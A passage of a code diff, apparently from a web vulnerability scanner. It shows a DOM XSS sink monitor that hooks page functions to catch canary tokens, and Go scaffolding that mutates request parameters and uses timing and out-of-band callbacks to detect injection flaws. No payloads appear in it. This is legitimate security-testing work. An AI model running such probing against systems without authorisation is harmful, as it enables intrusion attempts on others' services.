select {
|
||||
case <-urlCtx.Done():
|
||||
return
|
||||
case <-loadCh:
|
||||
}
|
||||
select {
|
||||
case <-urlCtx.Done():
|
||||
case <-time.After(settleDelay):
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
for _, h := range col.drain() {
|
||||
key := h.Source + "|" + h.Sink
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
rep.Finding(finding(host, navURL, h))
|
||||
}
|
||||
}
|
||||
|
||||
// buildCanaryURL returns the URL to navigate, carrying a hash and query canary,
|
||||
// plus the distinct window.name canary to set beforehand. It returns "" if the
|
||||
// URL cannot be parsed.
|
||||
func buildCanaryURL(rawURL string) (navURL, nameCanary string) {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Host == "" {
|
||||
return "", ""
|
||||
}
|
||||
q := u.Query()
|
||||
q.Set("joroqp", canary("q"))
|
||||
u.RawQuery = q.Encode()
|
||||
u.Fragment = canary("h")
|
||||
return u.String(), canary("n")
|
||||
}
|
||||
|
||||
// canary mints a per-source token the monitor recognizes: __joroDX_<channel>_<hex>.
|
||||
func canary(channel string) string {
|
||||
var b [6]byte
|
||||
_, _ = rand.Read(b[:])
|
||||
return "__joroDX_" + channel + "_" + hex.EncodeToString(b[:])
|
||||
}
|
||||
|
||||
// finding builds the detect.Finding for a confirmed sink hit.
|
||||
func finding(host, navURL string, h hit) detect.Finding {
|
||||
now := time.Now()
|
||||
path := navURL
|
||||
if u, err := url.Parse(navURL); err == nil {
|
||||
path = u.Path
|
||||
}
|
||||
evidence := fmt.Sprintf("%s reached %s (via %s)", h.Source, h.Sink, h.Channel)
|
||||
if h.Stack != "" {
|
||||
evidence += "\n" + firstLines(h.Stack, 6)
|
||||
}
|
||||
return detect.Finding{
|
||||
ID: detect.FindingID(findingRule, host, h.Source+"|"+h.Sink+"|"+path),
|
||||
RuleID: findingRule,
|
||||
RuleName: "DOM-based XSS",
|
||||
Category: detect.CategoryDOMXSS,
|
||||
Severity: detect.SeverityHigh,
|
||||
Confidence: detect.ConfidenceHigh,
|
||||
Target: detect.TargetMessage,
|
||||
Host: host,
|
||||
Method: "GET",
|
||||
URL: navURL,
|
||||
Detail: h.Source + " reaches " + h.Sink,
|
||||
Evidence: evidence,
|
||||
FirstSeen: now,
|
||||
LastSeen: now,
|
||||
EvidenceOffset: -1,
|
||||
}
|
||||
}
|
||||
|
||||
// jsString encodes s as a JavaScript string literal for Runtime.evaluate.
|
||||
func jsString(s string) string {
|
||||
b, _ := json.Marshal(s)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// firstLines returns at most n lines of s.
|
||||
func firstLines(s string, n int) string {
|
||||
lines := strings.Split(s, "\n")
|
||||
if len(lines) > n {
|
||||
lines = lines[:n]
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
// DOM XSS sink monitor, injected by internal/activescan/domxss via CDP's
|
||||
// Page.addScriptToEvaluateOnNewDocument, so it runs before any page script and is
|
||||
// not subject to the page's CSP.
|
||||
//
|
||||
// It wraps the dangerous DOM sinks and, whenever one receives a value containing
|
||||
// a Joro canary token, reports the sink, the source channel the canary came from
|
||||
// (hash / query / window.name) and a stack trace back to Go through the
|
||||
// __joroDomXss binding. It never throws into the page.
|
||||
(function () {
|
||||
try {
|
||||
var MARK = "__joroDX_";
|
||||
var reported = {};
|
||||
|
||||
function channelSource(ch) {
|
||||
if (ch === "h") return "location.hash";
|
||||
if (ch === "q") return "location.search";
|
||||
if (ch === "n") return "window.name";
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
function scan(val, sink) {
|
||||
if (val == null) return;
|
||||
var s;
|
||||
try { s = String(val); } catch (e) { return; }
|
||||
if (s.indexOf(MARK) < 0) return;
|
||||
var m = s.match(/__joroDX_([hqn])_([0-9a-f]+)/);
|
||||
if (!m) return;
|
||||
var channel = m[1];
|
||||
var token = m[0];
|
||||
var key = sink + "|" + channel + "|" + token;
|
||||
if (reported[key]) return;
|
||||
reported[key] = true;
|
||||
|
||||
var payload = {
|
||||
sink: sink,
|
||||
source: channelSource(channel),
|
||||
channel: channel,
|
||||
token: token,
|
||||
value: s.length > 2000 ? s.slice(0, 2000) : s,
|
||||
url: "",
|
||||
stack: ""
|
||||
};
|
||||
try { payload.url = location.href; } catch (e) {}
|
||||
try { payload.stack = (new Error()).stack || ""; } catch (e) {}
|
||||
try { window.__joroDomXss(JSON.stringify(payload)); } catch (e) {}
|
||||
}
|
||||
|
||||
function hookProp(proto, prop, sink) {
|
||||
try {
|
||||
var d = Object.getOwnPropertyDescriptor(proto, prop);
|
||||
if (!d || !d.set) return;
|
||||
var origSet = d.set;
|
||||
Object.defineProperty(proto, prop, {
|
||||
configurable: true,
|
||||
enumerable: d.enumerable,
|
||||
get: d.get,
|
||||
set: function (v) { scan(v, sink); return origSet.call(this, v); }
|
||||
});
|
||||
} catch (e) {}
|
||||
}
|
||||
hookProp(Element.prototype, "innerHTML", "Element.innerHTML");
|
||||
hookProp(Element.prototype, "outerHTML", "Element.outerHTML");
|
||||
|
||||
try {
|
||||
var iah = Element.prototype.insertAdjacentHTML;
|
||||
Element.prototype.insertAdjacentHTML = function (pos, html) {
|
||||
scan(html, "insertAdjacentHTML");
|
||||
return iah.apply(this, arguments);
|
||||
};
|
||||
} catch (e) {}
|
||||
|
||||
function hookDocWrite(name) {
|
||||
try {
|
||||
var orig = document[name];
|
||||
document[name] = function () {
|
||||
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "document." + name);
|
||||
return orig.apply(this, arguments);
|
||||
};
|
||||
} catch (e) {}
|
||||
}
|
||||
hookDocWrite("write");
|
||||
hookDocWrite("writeln");
|
||||
|
||||
try {
|
||||
var _eval = window.eval;
|
||||
window.eval = function (code) { scan(code, "eval"); return _eval(code); };
|
||||
} catch (e) {}
|
||||
try {
|
||||
var _Func = window.Function;
|
||||
window.Function = function () {
|
||||
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "Function");
|
||||
return _Func.apply(this, arguments);
|
||||
};
|
||||
} catch (e) {}
|
||||
|
||||
function hookTimer(name) {
|
||||
try {
|
||||
var orig = window[name];
|
||||
window[name] = function (fn) {
|
||||
if (typeof fn === "string") scan(fn, name + "(string)");
|
||||
return orig.apply(this, arguments);
|
||||
};
|
||||
} catch (e) {}
|
||||
}
|
||||
hookTimer("setTimeout");
|
||||
hookTimer("setInterval");
|
||||
|
||||
try {
|
||||
var _setAttr = Element.prototype.setAttribute;
|
||||
Element.prototype.setAttribute = function (name, value) {
|
||||
try {
|
||||
var n = ("" + name).toLowerCase();
|
||||
if (n === "src" || n === "href" || n === "data" || n === "action" ||
|
||||
n === "formaction" || n.indexOf("on") === 0) {
|
||||
scan(value, "setAttribute(" + n + ")");
|
||||
}
|
||||
} catch (e) {}
|
||||
return _setAttr.apply(this, arguments);
|
||||
};
|
||||
} catch (e) {}
|
||||
|
||||
function hookJQuery() {
|
||||
try {
|
||||
var jq = window.jQuery;
|
||||
if (!jq || !jq.fn) return;
|
||||
["html", "append", "prepend", "after", "before", "replaceWith"].forEach(function (mth) {
|
||||
var orig = jq.fn[mth];
|
||||
if (typeof orig !== "function") return;
|
||||
jq.fn[mth] = function () {
|
||||
for (var i = 0; i < arguments.length; i++) {
|
||||
if (typeof arguments[i] === "string") scan(arguments[i], "jQuery." + mth);
|
||||
}
|
||||
return orig.apply(this, arguments);
|
||||
};
|
||||
});
|
||||
} catch (e) {}
|
||||
}
|
||||
hookJQuery();
|
||||
try { document.addEventListener("DOMContentLoaded", hookJQuery); } catch (e) {}
|
||||
} catch (e) {}
|
||||
})();
|
||||
@@ -0,0 +1,32 @@
|
||||
package inject
|
||||
|
||||
import "context"
|
||||
|
||||
// Drive iterates every parameter of every request, calling probe with the point
|
||||
// and that request's baseline. It handles enumeration, per-request baselining,
|
||||
// cancellation, and progress (one tick per request, matching the run's URL-based
|
||||
// total). Finding-reporting stays in probe (this package does not import
|
||||
// activescan), which is why probe takes no reporter.
|
||||
func Drive(ctx context.Context, reqs [][]byte, s *Sender, progress func(delta int), probe func(ctx context.Context, p Point, base *Baseline)) {
|
||||
for _, raw := range reqs {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
base, err := s.Baseline(ctx, raw)
|
||||
if err != nil {
|
||||
if progress != nil {
|
||||
progress(1)
|
||||
}
|
||||
continue
|
||||
}
|
||||
for _, p := range Enumerate(raw) {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
probe(ctx, p, base)
|
||||
}
|
||||
if progress != nil {
|
||||
progress(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,261 @@
|
||||
// Package inject is the shared scaffold for the active injection-scanning rules
|
||||
// (reflected XSS, SQLi, SSTI, command injection, open redirect, path traversal).
|
||||
// It enumerates a request's injectable parameters, mutates one with a payload,
|
||||
// sends the result through Joro's proxy, and exposes baseline/differential/timing
|
||||
// and OAST helpers — so each rule is just a payload set plus a detector.
|
||||
//
|
||||
// Enumeration reuses internal/echo (the one parameter walker in the repo);
|
||||
// mutation is name-aware per source (query/form/json/path) rather than relying on
|
||||
// byte offsets, which echo computes only best-effort.
|
||||
package inject
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// Point is an injectable parameter. It aliases echo.Value so rules speak echo's
|
||||
// vocabulary (Source, Name, Value) without re-deriving it.
|
||||
type Point = echo.Value
|
||||
|
||||
// Enumerate returns the injectable parameters of a raw request: query, path, form
|
||||
// and JSON-body values. Headers, cookies and multipart parts are deliberately
|
||||
// excluded to bound scan volume to the parameters that carry most injection.
|
||||
func Enumerate(raw []byte) []Point {
|
||||
if len(raw) == 0 {
|
||||
return nil
|
||||
}
|
||||
// detect.Parse derives the URL/host/content-type from the CapturedRequest's
|
||||
// fields, not the raw request line, so reconstruct them from the bytes.
|
||||
host := headerValue(raw, "Host")
|
||||
cr := &proxy.CapturedRequest{
|
||||
ReqRaw: raw,
|
||||
Host: host,
|
||||
URL: reconstructURL(raw, host),
|
||||
ContentType: headerValue(raw, "Content-Type"),
|
||||
}
|
||||
cfg := echo.DefaultConfig()
|
||||
cfg.ScanHeaders = false // skip headers/cookies for injection fuzzing
|
||||
vals := echo.Walk(detect.Parse(cr, echo.ParseConfig(cfg)), cfg)
|
||||
out := vals[:0:0]
|
||||
for _, v := range vals {
|
||||
switch v.Source {
|
||||
case echo.SourceQuery, echo.SourcePath, echo.SourceForm, echo.SourceJSON:
|
||||
out = append(out, v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Mutate produces a copy of raw with point p's value set to payload (or, when
|
||||
// appendMode, the original value followed by payload). Content-Length is
|
||||
// recomputed. An unsupported source returns an error so the caller skips the point.
|
||||
func Mutate(raw []byte, p Point, payload string, appendMode bool) ([]byte, error) {
|
||||
value := payload
|
||||
if appendMode {
|
||||
value = p.Value + payload
|
||||
}
|
||||
var out []byte
|
||||
var err error
|
||||
switch p.Source {
|
||||
case echo.SourceQuery:
|
||||
out, err = httptools.ApplyEdits(raw, []httptools.Edit{{Op: "setQuery", Name: p.Name, Value: value}})
|
||||
case echo.SourcePath:
|
||||
out, err = setPathSegment(raw, p.Name, value)
|
||||
case echo.SourceForm:
|
||||
out, err = setFormField(raw, p.Name, value)
|
||||
case echo.SourceJSON:
|
||||
out, err = setJSONField(raw, p.Name, value)
|
||||
default:
|
||||
return nil, fmt.Errorf("inject: unsupported source %q", p.Source)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return httptools.UpdateContentLength(out), nil
|
||||
}
|
||||
|
||||
// splitRequest separates the header block (through the blank line) from the body.
|
||||
func splitRequest(raw []byte) (head, body []byte) {
|
||||
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
|
||||
return raw[:i+4], raw[i+4:]
|
||||
}
|
||||
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
|
||||
return raw[:i+2], raw[i+2:]
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
// setFormField re-encodes a urlencoded body with one field changed.
|
||||
func setFormField(raw []byte, name, value string) ([]byte, error) {
|
||||
head, body := splitRequest(raw)
|
||||
vals, err := url.ParseQuery(string(body))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
vals.Set(name, value)
|
||||
return append(append([]byte(nil), head...), []byte(vals.Encode())...), nil
|
||||
}
|
||||
|
||||
// setPathSegment replaces the i-th path segment (echo names path values "[i]").
|
||||
func setPathSegment(raw []byte, name, value string) ([]byte, error) {
|
||||
idx, err := strconv.Atoi(strings.Trim(name, "[]"))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("inject: bad path index %q", name)
|
||||
}
|
||||
line, rest, ok := firstLine(raw)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("inject: no request line")
|
||||
}
|
||||
method, target, version, ok := splitRequestLine(line)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("inject: bad request line")
|
||||
}
|
||||
path, query := target, ""
|
||||
if q := strings.IndexByte(target, '?'); q >= 0 {
|
||||
path, query = target[:q], target[q:]
|
||||
}
|
||||
segs := strings.Split(path, "/") // leading "" from the leading slash
|
||||
seg := idx + 1 // echo indexes segments after the leading slash
|
||||
if seg <= 0 || seg >= len(segs) {
|
||||
return nil, fmt.Errorf("inject: path index %d out of range", idx)
|
||||
}
|
||||
segs[seg] = url.PathEscape(value)
|
||||
newLine := method + " " + strings.Join(segs, "/") + query + " " + version
|
||||
return append([]byte(newLine), rest...), nil
|
||||
}
|
||||
|
||||
// setJSONField sets a leaf addressed by a dotted path with [i] indices.
|
||||
func setJSONField(raw []byte, path, value string) ([]byte, error) {
|
||||
head, body := splitRequest(raw)
|
||||
var doc any
|
||||
if err := json.Unmarshal(body, &doc); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := setJSONPath(&doc, splitJSONPath(path), value); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nb, err := json.Marshal(doc)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return append(append([]byte(nil), head...), nb...), nil
|
||||
}
|
||||
|
||||
// splitJSONPath breaks "a.b[0].c" into ["a","b","0","c"].
|
||||
func splitJSONPath(p string) []string {
|
||||
var out []string
|
||||
for _, part := range strings.Split(p, ".") {
|
||||
for {
|
||||
b := strings.IndexByte(part, '[')
|
||||
if b < 0 {
|
||||
if part != "" {
|
||||
out = append(out, part)
|
||||
}
|
||||
break
|
||||
}
|
||||
if b > 0 {
|
||||
out = append(out, part[:b])
|
||||
}
|
||||
e := strings.IndexByte(part, ']')
|
||||
if e < 0 {
|
||||
break
|
||||
}
|
||||
out = append(out, part[b+1:e])
|
||||
part = part[e+1:]
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// setJSONPath walks segs into the decoded doc and sets the leaf to value (as a
|
||||
// string, matching how the application most commonly receives injected input).
|
||||
func setJSONPath(doc *any, segs []string, value string) error {
|
||||
if len(segs) == 0 {
|
||||
*doc = value
|
||||
return nil
|
||||
}
|
||||
seg := segs[0]
|
||||
switch node := (*doc).(type) {
|
||||
case map[string]any:
|
||||
child := node[seg]
|
||||
if err := setJSONPath(&child, segs[1:], value); err != nil {
|
||||
return err
|
||||
}
|
||||
node[seg] = child
|
||||
return nil
|
||||
case []any:
|
||||
i, err := strconv.Atoi(seg)
|
||||
if err != nil || i < 0 || i >= len(node) {
|
||||
return fmt.Errorf("inject: bad json index %q", seg)
|
||||
}
|
||||
child := node[i]
|
||||
if err := setJSONPath(&child, segs[1:], value); err != nil {
|
||||
return err
|
||||
}
|
||||
node[i] = child
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("inject: json path does not resolve at %q", seg)
|
||||
}
|
||||
}
|
||||
|
||||
// reconstructURL builds an absolute URL from the request line's target and the Host
|
||||
// header, so detect.Parse can extract the path and query. The scheme is irrelevant
|
||||
// to parameter enumeration.
|
||||
func reconstructURL(raw []byte, host string) string {
|
||||
line, _, ok := firstLine(raw)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
_, target, _, ok := splitRequestLine(line)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
if host == "" {
|
||||
host = "placeholder"
|
||||
}
|
||||
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
|
||||
return target
|
||||
}
|
||||
return "http://" + host + target
|
||||
}
|
||||
|
||||
// headerValue returns the first value of header name (case-insensitive) from the
|
||||
// request's header block.
|
||||
func headerValue(raw []byte, name string) string {
|
||||
head, _ := splitRequest(raw)
|
||||
lower := strings.ToLower(name) + ":"
|
||||
for _, ln := range strings.Split(string(head), "\n") {
|
||||
ln = strings.TrimRight(ln, "\r")
|
||||
if strings.HasPrefix(strings.ToLower(ln), lower) {
|
||||
return strings.TrimSpace(ln[len(lower):])
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func firstLine(raw []byte) (line string, rest []byte, ok bool) {
|
||||
i := strings.IndexByte(string(raw), '\n')
|
||||
if i < 0 {
|
||||
return "", nil, false
|
||||
}
|
||||
line = strings.TrimRight(string(raw[:i]), "\r")
|
||||
return line, raw[i:], true
|
||||
}
|
||||
|
||||
func splitRequestLine(line string) (method, target, version string, ok bool) {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) != 3 {
|
||||
return "", "", "", false
|
||||
}
|
||||
return parts[0], parts[1], parts[2], true
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package inject
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
)
|
||||
|
||||
// OASTAvailable reports whether out-of-band testing can run: a callback store with
|
||||
// a configured domain. When false, rules skip their OAST vectors rather than emit a
|
||||
// payload to an unresolvable domain — OAST is disabled unless a listener/team
|
||||
// server provides a callback domain.
|
||||
func OASTAvailable(store *callback.Store) bool {
|
||||
if store == nil {
|
||||
return false
|
||||
}
|
||||
cfg, err := store.GetConfig()
|
||||
return err == nil && cfg != nil && cfg.Domain != ""
|
||||
}
|
||||
|
||||
// OAST mints callback tokens and polls for interactions, for blind detection.
|
||||
type OAST struct {
|
||||
store *callback.Store
|
||||
domain string
|
||||
}
|
||||
|
||||
// NewOAST returns an OAST helper, or nil when OAST is unavailable (caller skips).
|
||||
func NewOAST(store *callback.Store) *OAST {
|
||||
if !OASTAvailable(store) {
|
||||
return nil
|
||||
}
|
||||
cfg, _ := store.GetConfig()
|
||||
return &OAST{store: store, domain: cfg.Domain}
|
||||
}
|
||||
|
||||
// Token mints a correlation token and returns it with the callback hostname to
|
||||
// weave into a payload (`<token>.<domain>`).
|
||||
func (o *OAST) Token(note string) (tokenID, host string, err error) {
|
||||
tok, err := callback.GenerateToken(o.store, note)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
return tok.ID, tok.Token + "." + o.domain, nil
|
||||
}
|
||||
|
||||
// Fired polls the callback store until an interaction for tokenID appears or the
|
||||
// window elapses, respecting ctx. It returns true on the first hit.
|
||||
func (o *OAST) Fired(ctx context.Context, tokenID string, window time.Duration) bool {
|
||||
deadline := time.Now().Add(window)
|
||||
ticker := time.NewTicker(1 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
if items, _, err := o.store.ListInteractions(tokenID, 0, 1); err == nil && len(items) > 0 {
|
||||
return true
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return false
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package inject
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// maxRespBytes is the response body an injection detector needs — enough to match
|
||||
// an error string, a rendered expression, or file contents.
|
||||
const maxRespBytes = 1 << 20
|
||||
|
||||
// Sender sends mutated requests through Joro's proxy and fingerprints the result.
|
||||
// It takes httptools.SendDeps directly (not activescan.RuleDeps) so this package
|
||||
// does not import activescan — the rules build SendDeps from their RuleDeps.
|
||||
type Sender struct {
|
||||
deps httptools.SendDeps
|
||||
scheme string
|
||||
host string
|
||||
timeout time.Duration
|
||||
}
|
||||
|
||||
// NewSender wires a sender for one target host.
|
||||
func NewSender(deps httptools.SendDeps, scheme, host string, timeout time.Duration) *Sender {
|
||||
if deps.MaxRespBytes == 0 {
|
||||
deps.MaxRespBytes = maxRespBytes
|
||||
}
|
||||
return &Sender{deps: deps, scheme: scheme, host: host, timeout: timeout}
|
||||
}
|
||||
|
||||
// Result is one send's outcome: the raw and parsed response, status, wall-clock
|
||||
// duration, and a structural fingerprint for differential comparison.
|
||||
type Result struct {
|
||||
RawReq []byte
|
||||
RespRaw []byte
|
||||
Resp httptools.Response
|
||||
Status int
|
||||
DurationMs int64
|
||||
Fingerprint httptools.Fingerprint
|
||||
URL string
|
||||
Method string
|
||||
}
|
||||
|
||||
// Send sends one raw request and returns the fingerprinted result.
|
||||
func (s *Sender) Send(ctx context.Context, raw []byte) (*Result, error) {
|
||||
reqCtx, cancel := context.WithTimeout(ctx, s.timeout)
|
||||
defer cancel()
|
||||
sent, err := httptools.SendViaProxy(reqCtx, raw, s.scheme, s.host, s.deps)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Result{
|
||||
RawReq: raw,
|
||||
RespRaw: sent.RespRaw,
|
||||
Resp: httptools.ReadResponse(sent.RespRaw),
|
||||
Status: sent.StatusCode,
|
||||
DurationMs: sent.Duration.Milliseconds(),
|
||||
Fingerprint: httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false),
|
||||
URL: sent.URL,
|
||||
Method: sent.Method,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Baseline is the unmodified request's response plus a timing floor used to judge
|
||||
// time-based injections.
|
||||
type Baseline struct {
|
||||
Result
|
||||
// FloorMs is the smaller of two baseline round-trips — a jitter-resistant
|
||||
// estimate of the endpoint's normal latency.
|
||||
FloorMs int64
|
||||
}
|
||||
|
||||
// Baseline sends the original request twice and records the structural fingerprint
|
||||
// plus the latency floor.
|
||||
func (s *Sender) Baseline(ctx context.Context, raw []byte) (*Baseline, error) {
|
||||
r1, err := s.Send(ctx, raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
floor := r1.DurationMs
|
||||
if r2, err := s.Send(ctx, raw); err == nil && r2.DurationMs < floor {
|
||||
floor = r2.DurationMs
|
||||
}
|
||||
return &Baseline{Result: *r1, FloorMs: floor}, nil
|
||||
}
|
||||
|
||||
// SameStructure reports whether two responses are the same page ignoring volatile
|
||||
// content (nonces, timestamps) — the boolean oracle for boolean-based SQLi.
|
||||
func SameStructure(a, b httptools.Fingerprint) bool { return a.StructHash == b.StructHash }
|
||||
|
||||
// LooksDelayed reports whether elapsed indicates an injected delay of at least
|
||||
// delayMs relative to the baseline floor. The 0.8 factor tolerates the payload
|
||||
// running slightly short while rejecting ordinary jitter.
|
||||
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
|
||||
return elapsedMs-floorMs >= delayMs*8/10
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package injkit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/inject"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// SameStructure and LooksDelayed re-export the inject differential/timing helpers so
|
||||
// a rule imports only injkit.
|
||||
func SameStructure(a, b httptools.Fingerprint) bool { return inject.SameStructure(a, b) }
|
||||
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
|
||||
return inject.LooksDelayed(elapsedMs, floorMs, delayMs)
|
||||
}
|
||||
|
||||
// Check is one named, toggleable detection within an injection rule — the catalog
|
||||
// row the operator sees. Metadata is static (so checks are package-level vars); the
|
||||
// probe takes its run context as a parameter rather than closing over it.
|
||||
type Check struct {
|
||||
ID string
|
||||
Name string
|
||||
Severity detect.Severity
|
||||
Description string
|
||||
// Payloads are shown in the catalog detail; the probe is free to derive more.
|
||||
Payloads []string
|
||||
// RequiresOAST marks a check that only runs with a callback listener configured.
|
||||
RequiresOAST bool
|
||||
Probe func(pc ProbeCtx)
|
||||
}
|
||||
|
||||
// ProbeCtx bundles everything a check's probe needs for one insertion point.
|
||||
type ProbeCtx struct {
|
||||
Ctx context.Context
|
||||
Send *inject.Sender
|
||||
OAST *inject.OAST // nil when OAST is unavailable or opted out
|
||||
Host string
|
||||
Point inject.Point
|
||||
Base *inject.Baseline
|
||||
// File mints a finding for this point; Host/Method/URL are filled in for you.
|
||||
File func(sev detect.Severity, detail, evidence, url string)
|
||||
}
|
||||
|
||||
// Inject mutates the point's value with payload (append or replace) and sends the
|
||||
// result, returning nil on any mutation/send error so a probe can keep going.
|
||||
func (pc ProbeCtx) Inject(payload string, appendMode bool) *inject.Result {
|
||||
mut, err := inject.Mutate(pc.Base.RawReq, pc.Point, payload, appendMode)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
res, err := pc.Send.Send(pc.Ctx, mut)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
// Catalog builds the catalog items for a rule's checks, reflecting the disabled set.
|
||||
func Catalog(checks []Check, disabled *activescan.DisabledSet, oastAvailable bool) []activescan.CatalogItem {
|
||||
out := make([]activescan.CatalogItem, 0, len(checks))
|
||||
for _, c := range checks {
|
||||
detail := []activescan.CatalogField{{Label: "Detection", Value: c.Name}}
|
||||
if len(c.Payloads) > 0 {
|
||||
detail = append(detail, activescan.CatalogField{Label: "Payloads", Value: strings.Join(c.Payloads, "\n")})
|
||||
}
|
||||
if c.RequiresOAST {
|
||||
avail := "requires a configured callback listener"
|
||||
if oastAvailable {
|
||||
avail = "callback listener configured"
|
||||
}
|
||||
detail = append(detail, activescan.CatalogField{Label: "Out-of-band", Value: avail})
|
||||
}
|
||||
out = append(out, activescan.CatalogItem{
|
||||
ID: c.ID,
|
||||
Name: c.Name,
|
||||
Severity: string(c.Severity),
|
||||
Confidence: string(detect.ConfidenceHigh),
|
||||
Target: string(detect.TargetMessage),
|
||||
Description: c.Description,
|
||||
Enabled: disabled.IsItemEnabled(c.ID),
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// RunChecks drives the standard injection loop for a rule: it builds the sender and
|
||||
// (unless opted out) the OAST helper, then for every parameter of every request runs
|
||||
// each enabled check's probe. Finding-reporting goes through the probe's File helper.
|
||||
func RunChecks(
|
||||
ctx context.Context,
|
||||
t activescan.Target,
|
||||
cfg activescan.Config,
|
||||
deps activescan.RuleDeps,
|
||||
rep activescan.Reporter,
|
||||
checks []Check,
|
||||
disabled *activescan.DisabledSet,
|
||||
findingRule string,
|
||||
category detect.Category,
|
||||
name string,
|
||||
) {
|
||||
send := Sender(deps, t)
|
||||
oast := OAST(deps)
|
||||
if cfg.NoOAST {
|
||||
oast = nil
|
||||
}
|
||||
enabled := make([]Check, 0, len(checks))
|
||||
for _, c := range checks {
|
||||
if disabled.IsItemEnabled(c.ID) {
|
||||
enabled = append(enabled, c)
|
||||
}
|
||||
}
|
||||
inject.Drive(ctx, Requests(t), send, rep.Progress, func(ctx context.Context, p inject.Point, base *inject.Baseline) {
|
||||
for _, c := range enabled {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
file := func(sev detect.Severity, detail, evidence, url string) {
|
||||
rep.Finding(Finding(findingRule, category, sev, name, t.Host, base.Method, url, p.Key(), detail, evidence))
|
||||
}
|
||||
c.Probe(ProbeCtx{Ctx: ctx, Send: send, OAST: oast, Host: t.Host, Point: p, Base: base, File: file})
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
// Package injkit adapts the activescan framework to the inject library: it builds a
|
||||
// sender/OAST/request-list from a rule's Target and RuleDeps and mints findings, so
|
||||
// each injection rule stays a payload set plus a detector. It imports both
|
||||
// activescan and inject (activescan imports neither, so there is no cycle).
|
||||
package injkit
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/inject"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// PerReqTimeout bounds one probe send. It sits above the time-based payloads'
|
||||
// sleep interval so a genuine delay is observed rather than cut off.
|
||||
const PerReqTimeout = 20 * time.Second
|
||||
|
||||
// Sender builds an inject.Sender for the target from a rule's deps.
|
||||
func Sender(d activescan.RuleDeps, t activescan.Target) *inject.Sender {
|
||||
return inject.NewSender(
|
||||
httptools.SendDeps{ProxyAddr: d.ProxyAddr, CA: d.CA, Store: d.Store},
|
||||
t.Scheme, t.Host, PerReqTimeout,
|
||||
)
|
||||
}
|
||||
|
||||
// OAST returns an OAST helper, or nil when no callback domain is configured (the
|
||||
